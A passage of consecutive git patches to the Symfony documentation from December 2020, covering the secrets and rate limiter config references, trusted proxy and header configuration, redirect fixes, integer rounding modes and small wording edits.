 * `secret`_
+* `secrets`_
+
+  * `decryption_env_var`_
+  * `local_dotenv_file`_
+  * `vault_directory`_
+
 * `serializer`_
 
   * :ref:`circular_reference_handler <reference-serializer-circular_reference_handler>`
@@ -2483,6 +2489,31 @@ annotation changes). For performance reasons, it is recommended to disable
 debug mode in production, which will happen automatically if you use the
 default value.
 
+
+secrets
+~~~~~~~
+
+decryption_env_var
+..................
+
+**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
+
+The environment variable that contains the decryption key.
+
+local_dotenv_file
+.................
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
+
+Path to an dotenv file that holds secrets. This is primarily used for testing.
+
+vault_directory
+...............
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.environment%``
+
+The directory where the vault of secrets is stored.
+
 .. _configuration-framework-serializer:
 
 serializer

From 136b2aa1056b2a7b770fe9c804c24b55263a5252 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 28 Dec 2020 11:57:43 +0100
Subject: [PATCH 0297/5766] Added redirections to specific anchors for removed
 Templating articles

---
 _build/redirection_map | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index 6c49dc6bed6..4954ce471fa 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -448,15 +448,15 @@
 /reference/requirements /setup
 /bundles/inheritance /bundles/override
 /templating /templates
-/templating/escaping /templates
-/templating/syntax /templates
-/templating/debug /templates
-/templating/render_without_controller /templates
-/templating/app_variable /templates
+/templating/escaping /templates#output-escaping
+/templating/syntax /templates#linting-twig-templates
+/templating/debug /templates#the-dump-twig-utilities
+/templating/render_without_controller /templates#rendering-a-template-directly-from-a-route
+/templating/app_variable /templates#the-app-global-variable
 /templating/formats /templates
-/templating/namespaced_paths /templates
-/templating/embedding_controllers /templates
-/templating/inheritance /templates
+/templating/namespaced_paths /templates#template-namespaces
+/templating/embedding_controllers /templates#embedding-controllers
+/templating/inheritance /templates#template-inheritance-and-layouts
 /testing/doctrine /testing/database
 /doctrine/lifecycle_callbacks /doctrine/events
 /doctrine/event_listeners_subscribers /doctrine/events

From 5570ab83867190d892679ad5e0c5f8d3b6396ba3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 22 Dec 2020 23:34:14 +0100
Subject: [PATCH 0298/5766] [Session] Update incorrect default value for
 session.handler_id

---
 reference/configuration/framework.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e61e0e1365d..7a7fad45029 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1251,11 +1251,11 @@ alias will be set to this service id. This class has to implement
 handler_id
 ..........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``'session.handler.native_file'``
 
-The service id used for session storage. The default ``null`` value means to use
-the native PHP session mechanism. Set it to ``'session.handler.native_file'`` to
-let Symfony manage the sessions itself using files to store the session metadata.
+The service id used for session storage. The default value ``'session.handler.native_file'``
+will let Symfony manage the sessions itself using files to store the session metadata.
+Set it to ``null`` to use the native PHP session mechanism.
 You can also :doc:`store sessions in a database </session/database>`.
 
 .. _name:

From f0344be19e7c0f18b36957fd19e3fed901df215a Mon Sep 17 00:00:00 2001
From: Rhodri Pugh <rod@owsy.com>
Date: Thu, 24 Dec 2020 11:51:20 +0000
Subject: [PATCH 0299/5766] remove mention of master branch, no longer exists

---
 contributing/documentation/overview.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index f7d1e4e8a03..be7d3418c6e 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -121,7 +121,7 @@ branch of the ``upstream`` remote, which is the original Symfony Docs repository
 Fixes should always be based on the **oldest maintained branch** which contains
 the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/3.1``. Not sure? That's OK! Just use the ``upstream/master`` branch.
+``upstream/3.1``.
 
 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the
@@ -295,12 +295,12 @@ Please be patient. It can take up to several days before your pull request can
 be fully reviewed. After merging the changes, it could take again several hours
 before your changes appear on the Symfony website.
 
-Why Should I Use the Oldest Maintained Branch Instead of the Master Branch?
+Why Should I Use the Oldest Maintained Branch Instead of the Latest Branch?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Consistent with Symfony's source code, the documentation repository is split
 into multiple branches, corresponding to the different versions of Symfony itself.
-The ``master`` branch holds the documentation for the development branch of
+The latest (e.g. ``5.x``) branch holds the documentation for the development branch of
 the code.
 
 Unless you're documenting a feature that was introduced after Symfony 4.4,

From c39447ab9ddd33dcd0a68b43eb65f70d23188f17 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 27 Dec 2020 11:30:56 +0100
Subject: [PATCH 0300/5766] [RateLimiter] Adding config reference for policy
 and lock_factory

---
 rate_limiter.rst                      |  2 ++
 reference/configuration/framework.rst | 36 +++++++++++++++++++++++++++
 2 files changed, 38 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 403aa9c462f..63e073a1e92 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -16,6 +16,8 @@ Symfony uses these rate limiters in built-in features like "login throttling",
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
+.. _rate-limiter-policies:
+
 Rate Limiting Policies
 ----------------------
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4bc44ad1f17..cc00ae83c6f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -211,6 +211,13 @@ Configuration
 
   * :ref:`enabled <reference-property-info-enabled>`
 
+* `rate_limiter`_:
+
+  * :ref:`name <reference-rate-limiter-name>`
+
+    * `lock_factory`_
+    * `policy`_
+
 * `request`_:
 
   * `formats`_
@@ -1220,6 +1227,35 @@ dsn
 
 The DSN where to store the profiling information.
 
+rate_limiter
+~~~~~~~~~~~~
+
+.. _reference-rate-limiter-name:
+
+name
+....
+
+**type**: ``prototype``
+
+Name of the rate limiter you want to create.
+
+lock_factory
+""""""""""""
+
+**type**: ``string`` **default:** ``lock.factory``
+
+The service that is used to create a lock. The service has to implement the
+:class:`Symfony\\Component\\Lock\\LockFactoryInterface`.
+
+policy
+""""""
+
+**type**: ``string`` **required**
+
+The name of the rate limiting algorithm to use. Example names are ``fixed_window``,
+``sliding_window`` and ``no_limit``. See :ref:`Rate Limiter Policies <rate-limiter-policies>`)
+for more information.
+
 request
 ~~~~~~~
 

From 95d52ea6af091519b911a655db42bcc725ebe67c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Dec 2020 15:24:00 +0100
Subject: [PATCH 0301/5766] Tweak

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a3bbbe2d7fa..8a126514b9b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1250,8 +1250,8 @@ lock_factory
 
 **type**: ``string`` **default:** ``lock.factory``
 
-The service that is used to create a lock. The service has to implement the
-:class:`Symfony\\Component\\Lock\\LockFactoryInterface`.
+The service that is used to create a lock. The service has to be an instance of
+the :class:`Symfony\\Component\\Lock\\LockFactory` class.
 
 policy
 """"""

From d5990bec534699ceaaeb211f3a2b0d3704036793 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Dec 2020 15:42:38 +0100
Subject: [PATCH 0302/5766] Added a link to the related RFC

---
 reference/configuration/framework.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index fb29e6c83d3..83b1cd90abb 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3035,7 +3035,7 @@ enabled
 
 **type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-Adds a Link HTTP header to the response.
+Adds a `Link HTTP header`_ to the response.
 
 workflows
 ~~~~~~~~~
@@ -3210,3 +3210,4 @@ to know their differences.
 .. _`session.cache-limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
+.. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988

From 3a7985f90472d45a282e82d8ce30de955f3dfa24 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 28 Dec 2020 02:09:18 +0100
Subject: [PATCH 0303/5766] Update rounding mode defintion integer type

---
 reference/forms/types/integer.rst | 45 +++++++++++++++++++------------
 1 file changed, 28 insertions(+), 17 deletions(-)

diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index fa5660158bc..80a946a33fd 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -55,31 +55,42 @@ Field Options
 ``rounding_mode``
 ~~~~~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``IntegerToLocalizedStringTransformer::ROUND_DOWN``
+**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
 
-By default, if the user enters a non-integer number, it will be rounded
-down. There are several other rounding methods and each is a constant
-on the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\IntegerToLocalizedStringTransformer`:
+By default, if the users enters a non-integer number, it will be rounded
+down. You have several configurable options for that rounding. Each option
+is a constant on the :phpclass:`NumberFormatter` class:
 
-* ``IntegerToLocalizedStringTransformer::ROUND_DOWN`` Round towards zero.
+* ``\NumberFormatter::ROUND_DOWN`` Round towards zero. It
+  rounds ``1.4`` to ``1`` and ``-1.4`` to ``-1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_FLOOR`` Round towards negative
-  infinity.
+* ``\NumberFormatter::ROUND_FLOOR`` Round towards negative
+  infinity. It rounds ``1.4`` to ``1`` and ``-1.4`` to ``-2``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_UP`` Round away from zero.
+* ``\NumberFormatter::ROUND_UP`` Round away from zero. It
+  rounds ``1.4`` to ``2`` and ``-1.4`` to ``-2``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_CEILING`` Round towards
-  positive infinity.
+* ``\NumberFormatter::ROUND_CEILING`` Round towards positive
+  infinity. It rounds ``1.4`` to ``2`` and ``-1.4`` to ``-1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_DOWN`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round down.
+* ``\NumberFormatter::ROUND_HALFDOWN`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round down. It rounds
+  ``2.5`` and ``1.6`` to ``2``, ``1.5`` and ``1.4`` to ``1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_EVEN`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round towards the
-  even neighbor.
+* ``\NumberFormatter::ROUND_HALFEVEN`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round towards the even
+  neighbor. It rounds ``2.5``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
+
+* ``\NumberFormatter::ROUND_HALFUP`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round up. It rounds
+  ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
+
+.. deprecated:: 5.1
+
+    In Symfony versions prior to 5.1, these constants were also defined as aliases
+    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\IntegerToLocalizedStringTransformer`
+    class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_UP`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round up.
 
 Overridden Options
 ------------------

From 9436d6337ca5b5d62b86059c72fa3846597046a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Dec 2020 15:56:15 +0100
Subject: [PATCH 0304/5766] Tweaks

---
 reference/forms/types/integer.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 80a946a33fd..984aa45ed89 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -57,7 +57,7 @@ Field Options
 
 **type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
 
-By default, if the users enters a non-integer number, it will be rounded
+By default, if the user enters a non-integer number, it will be rounded
 down. You have several configurable options for that rounding. Each option
 is a constant on the :phpclass:`NumberFormatter` class:
 
@@ -88,10 +88,9 @@ is a constant on the :phpclass:`NumberFormatter` class:
 .. deprecated:: 5.1
 
     In Symfony versions prior to 5.1, these constants were also defined as aliases
-    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\IntegerToLocalizedStringTransformer`
+    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
     class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
 
-
 Overridden Options
 ------------------
 

From 11e670134ae75a228f572279e85fb3f0842b0965 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Tue, 29 Dec 2020 19:03:34 +0100
Subject: [PATCH 0305/5766] Add Firebase notifier to documentation

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c5e8181c22a..c5415b465a8 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -131,6 +131,7 @@ integration with these chat services:
 ==========  ================================  ============================================
 Service     Package                           DSN
 ==========  ================================  ============================================
+Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://default/ID``
@@ -139,7 +140,7 @@ Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel
 
 .. versionadded:: 5.1
 
-    The Mattermost and RocketChat integrations were introduced in Symfony
+    The Firebase, Mattermost and RocketChat integrations were introduced in Symfony
     5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
     Webhooks instead of legacy tokens.
 

From 88130c10135ecdb2b92a5f6a530b564dffe9b41e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 30 Dec 2020 10:04:06 +0100
Subject: [PATCH 0306/5766] Use max_colons rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 59971c508f4..949ad80f3bf 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -14,6 +14,7 @@ rules:
     lowercase_as_in_use_statements: ~
     max_blank_lines:
         max: 2
+    max_colons: ~
     no_app_console: ~
     no_blank_line_after_filepath_in_php_code_block: ~
     no_blank_line_after_filepath_in_twig_code_block: ~

From 44d5818f19872d4f7fd41640ebd2e39b82959ed9 Mon Sep 17 00:00:00 2001
From: Marco <marco-beier@t-online.de>
Date: Tue, 29 Dec 2020 20:10:35 +0100
Subject: [PATCH 0307/5766] Minor fix to colon

Mostly not worth a PR but I wanted to change it either way.

Changed the display output from `::` to `:` as it is in the rest of the document.
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 5fd4ad30225..86defd2bafc 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1874,7 +1874,7 @@ use the ``generateUrl()`` helper::
 
     If you pass to the ``generateUrl()`` method some parameters that are not
     part of the route definition, they are included in the generated URL as a
-    query string:::
+    query string::
 
         $this->generateUrl('blog', ['page' => 2, 'category' => 'Symfony']);
         // the 'blog' route only defines the 'page' parameter; the generated URL is:

From 6fa2894b27067ca623fbc345f6df04da9258e8bf Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 30 Dec 2020 10:19:59 +0100
Subject: [PATCH 0308/5766] Replace link to getConfiguration method

In my opinion, the link should redirect to the class where we can preview the method that must be overridden.
---
 bundles/configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 25f8d76e76f..40eaf331d4f 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -334,7 +334,7 @@ As long as your bundle's configuration is located in the standard location
 (``YourBundle\DependencyInjection\Configuration``) and does not have
 a constructor it will work automatically. If you
 have something different, your ``Extension`` class must override the
-:method:`Extension::getConfiguration() <Symfony\\Component\\HttpKernel\\DependencyInjection\\Extension::getConfiguration>`
+:method:`Extension::getConfiguration() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getConfiguration>`
 method and return an instance of your ``Configuration``.
 
 Supporting XML

From f06a712d602844862cb0be976b9f31f6294b599d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 30 Dec 2020 14:27:00 +0100
Subject: [PATCH 0309/5766] Allow to configure trusted proxies and headers
 using config options

---
 deployment/proxies.rst                | 126 +++++++++++++++++++-------
 reference/configuration/framework.rst |  23 ++++-
 2 files changed, 113 insertions(+), 36 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index cae9e285648..15725b67007 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -22,28 +22,69 @@ Solution: ``setTrustedProxies()``
 ---------------------------------
 
 To fix this, you need to tell Symfony which reverse proxy IP addresses to trust
-and what headers your reverse proxy uses to send information::
-
-    // public/index.php
-
-    // ...
-    $request = Request::createFromGlobals();
-
-    // tell Symfony about your reverse proxy
-    Request::setTrustedProxies(
-        // the IP address (or range) of your proxy
-        ['192.0.0.1', '10.0.0.0/8'],
-
-        // trust *all* "X-Forwarded-*" headers
-        Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO
-
-        // or, if your proxy instead uses the "Forwarded" header
-        // Request::HEADER_FORWARDED
-
-        // or, if you're using a well-known proxy
-        // Request::HEADER_X_FORWARDED_AWS_ELB
-        // Request::HEADER_X_FORWARDED_TRAEFIK
-    );
+and what headers your reverse proxy uses to send information:
+
+.. configuration-block::
+
+    .. config-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            // the IP address (or range) of your proxy
+            trusted_proxies: '192.0.0.1,10.0.0.0/8'
+            // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
+            trusted_headers: ['x-forwarded-all', '!x-forwarded-host', '!x-forwarded-prefix']
+            // or, if your proxy instead uses the "Forwarded" header
+            trusted_headers: ['forwarded', '!x-forwarded-host', '!x-forwarded-prefix']
+            // or, if you're using a wellknown proxy
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix']
+
+    .. config-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- the IP address (or range) of your proxy -->
+                <framework:trusted-proxies>192.0.0.1,10.0.0.0/8</framework:trusted-proxies>
+
+                <!-- trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers) -->
+                <framework:trusted-header>x-forwarded-all</framework:trusted-header>
+                <framework:trusted-header>!x-forwarded-host</framework:trusted-header>
+                <framework:trusted-header>!x-forwarded-prefix</framework:trusted-header>
+
+                <!-- or, if your proxy instead uses the "Forwarded" header -->
+                <framework:trusted-header>forwarded</framework:trusted-header>
+                <framework:trusted-header>!x-forwarded-host</framework:trusted-header>
+                <framework:trusted-header>!x-forwarded-prefix</framework:trusted-header>
+            </framework:config>
+        </container>
+
+    .. config-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Request;
+
+        $container->loadFromExtension('framework', [
+            // the IP address (or range) of your proxy
+            'trusted_proxies' => '192.0.0.1,10.0.0.0/8',
+            // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
+            'trusted_headers' => ['x-forwarded-all', '!x-forwarded-host', '!x-forwarded-prefix'],
+            // or, if your proxy instead uses the "Forwarded" header
+            'trusted_headers' => ['forwarded', '!x-forwarded-host', '!x-forwarded-prefix'],
+            // or, if you're using a wellknown proxy
+            'trusted_headers' => [Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix'],
+            'trusted_headers' => [Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix'],
+        ]);
 
 .. deprecated:: 5.2
 
@@ -61,6 +102,13 @@ The Request object has several ``Request::HEADER_*`` constants that control exac
 *which* headers from your reverse proxy are trusted. The argument is a bit field,
 so you can also pass your own value (e.g. ``0b00110``).
 
+.. versionadded:: 5.2
+
+    The feature to configure trusted proxies and headers with ``trusted_proxies``
+    and ``trusted_headers`` options was introduced in Symfony 5.2. In earlier
+    Symfony versions you needed to use the ``Request::setTrustedProxies()``
+    method in the ``public/index.php`` file.
+
 But what if the IP of my Reverse Proxy Changes Constantly!
 ----------------------------------------------------------
 
@@ -74,17 +122,17 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
 #. Once you've guaranteed that traffic will only come from your trusted reverse
    proxies, configure Symfony to *always* trust incoming request::
 
-       // public/index.php
+    .. config-block:: yaml
 
-       // ...
-       Request::setTrustedProxies(
-           // trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-           // run time by $_SERVER['REMOTE_ADDR'])
-           ['127.0.0.1', 'REMOTE_ADDR'],
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            // trust *all* requests (the 'REMOTE_ADDR' string is replaced at
+            // run time by $_SERVER['REMOTE_ADDR'])
+            trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
-           // if you're using ELB, otherwise use a constant from above
-           Request::HEADER_X_FORWARDED_AWS_ELB
-       );
+            // if you're using ELB, otherwise use another Request::HEADER-* constant
+            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
 
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
@@ -100,6 +148,12 @@ other information.
         # .env
         TRUSTED_PROXIES=127.0.0.1,REMOTE_ADDR
 
+    .. config-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            trusted_proxies: '%env(TRUSTED_PROXIES)%'
 
 If you are also using a reverse proxy on top of your load balancer (e.g.
 `CloudFront`_), calling ``$request->server->get('REMOTE_ADDR')`` won't be
@@ -111,11 +165,13 @@ trusted proxies.
 Custom Headers When Using a Reverse Proxy
 -----------------------------------------
 
-Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``) may force you to use a custom header.
-For instance you have ``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``.
+Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``)
+may force you to use a custom header. For instance you have
+``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``.
 
-In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value of
-``Custom-Forwarded-Proto`` early enough in your application, i.e. before handling the request::
+In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
+of ``Custom-Forwarded-Proto`` early enough in your application, i.e. before
+handling the request::
 
     // public/index.php
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index df964b6d0ba..3a26887300e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -284,6 +284,7 @@ Configuration
   * `logging`_
   * :ref:`paths <reference-translator-paths>`
 
+* `trusted_headers`_
 * `trusted_hosts`_
 * `trusted_proxies`_
 * `validation`_
@@ -380,12 +381,32 @@ named ``kernel.http_method_override``.
         $request = Request::createFromGlobals();
         // ...
 
+.. _reference-framework-trusted-headers:
+
+trusted_headers
+~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``trusted_headers`` option was introduced in Symfony 5.2.
+
+The ``trusted_headers`` option is needed to configure which client information
+should be trusted (e.g. their host) when running Symfony behind a load balancer
+or a reverse proxy. See :doc:`/deployment/proxies`.
+
 .. _reference-framework-trusted-proxies:
 
 trusted_proxies
 ~~~~~~~~~~~~~~~
 
-The ``trusted_proxies`` option was removed in Symfony 3.3. See :doc:`/deployment/proxies`.
+.. versionadded:: 5.2
+
+    The ``trusted_headers`` option was reintroduced in Symfony 5.2 (it had been
+    removed in Symfony 3.3).
+
+The ``trusted_proxies`` option is needed to get precise information about the
+client (e.g. their IP address) when running Symfony behind a load balancer or a
+reverse proxy. See :doc:`/deployment/proxies`.
 
 ide
 ~~~

From 853dfb082a0dadb9ee50625eb4b2350de92f1ec2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 14:35:32 +0100
Subject: [PATCH 0310/5766] Shortening the text and adding link to jQuery

As a separate PR, as recommended by https://github.com/symfony/symfony-docs/pull/13450#issuecomment-722413038
---
 form/form_collections.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e7502432a16..9e74e0d2895 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,9 +280,8 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-The goal of this section will be to use JavaScript to read this attribute
-and dynamically add new tag forms when the user clicks the "Add a tag" button.
-This example uses jQuery and assumes you have it included somewhere on your page.
+Now we need some JavaScript to read this attribute and dynamically add new tag forms
+when the user clicks an "Add a tag" link. This example uses `jQuery`_.
 
 Add a ``script`` tag somewhere on your page so you can start writing some
 JavaScript. In this script, bind to the "click" event of the "Add a tag"
@@ -684,6 +683,7 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     the `symfony-collection`_ package based on jQuery for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
+.. _`jQuery`: http://jquery.com/
 .. _`JSFiddle`: http://jsfiddle.net/847Kf/4/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection

From dc794b9947f9a6139aee08a564e1d14429fa9ae3 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 15:03:42 +0100
Subject: [PATCH 0311/5766] Shortening the text some more

As a separate PR, as recommended by https://github.com/symfony/symfony-docs/pull/13450#issuecomment-722413038

* Reason for deleting "Add a script tag somewhere on your page...": Lenghthy text that didn't say much ;-)
* Reason for deleting the `note`: The JavaScript code is shown in itself; not inside some HTML ;-)
*
---
 form/form_collections.rst | 11 ++---------
 1 file changed, 2 insertions(+), 9 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e7502432a16..89c27960adf 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -245,7 +245,7 @@ the following ``data-prototype`` attribute to the existing ``<ul>`` in your temp
 
     <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
 
-Now add a button just next to the ``<ul>`` to dynamically add a new tag
+Now add a button just next to the ``<ul>`` to dynamically add a new tag:
 
 .. code-block:: html+twig
 
@@ -284,9 +284,7 @@ The goal of this section will be to use JavaScript to read this attribute
 and dynamically add new tag forms when the user clicks the "Add a tag" button.
 This example uses jQuery and assumes you have it included somewhere on your page.
 
-Add a ``script`` tag somewhere on your page so you can start writing some
-JavaScript. In this script, bind to the "click" event of the "Add a tag"
-button so you can add a new tag form (``addFormToCollection()`` will be show next):
+Now add the required functionality with JavaScript:
 
 .. code-block:: javascript
 
@@ -344,11 +342,6 @@ one example:
         $collectionHolder.append($newFormLi)
     }
 
-.. note::
-
-    It is better to separate your JavaScript in real JavaScript files than
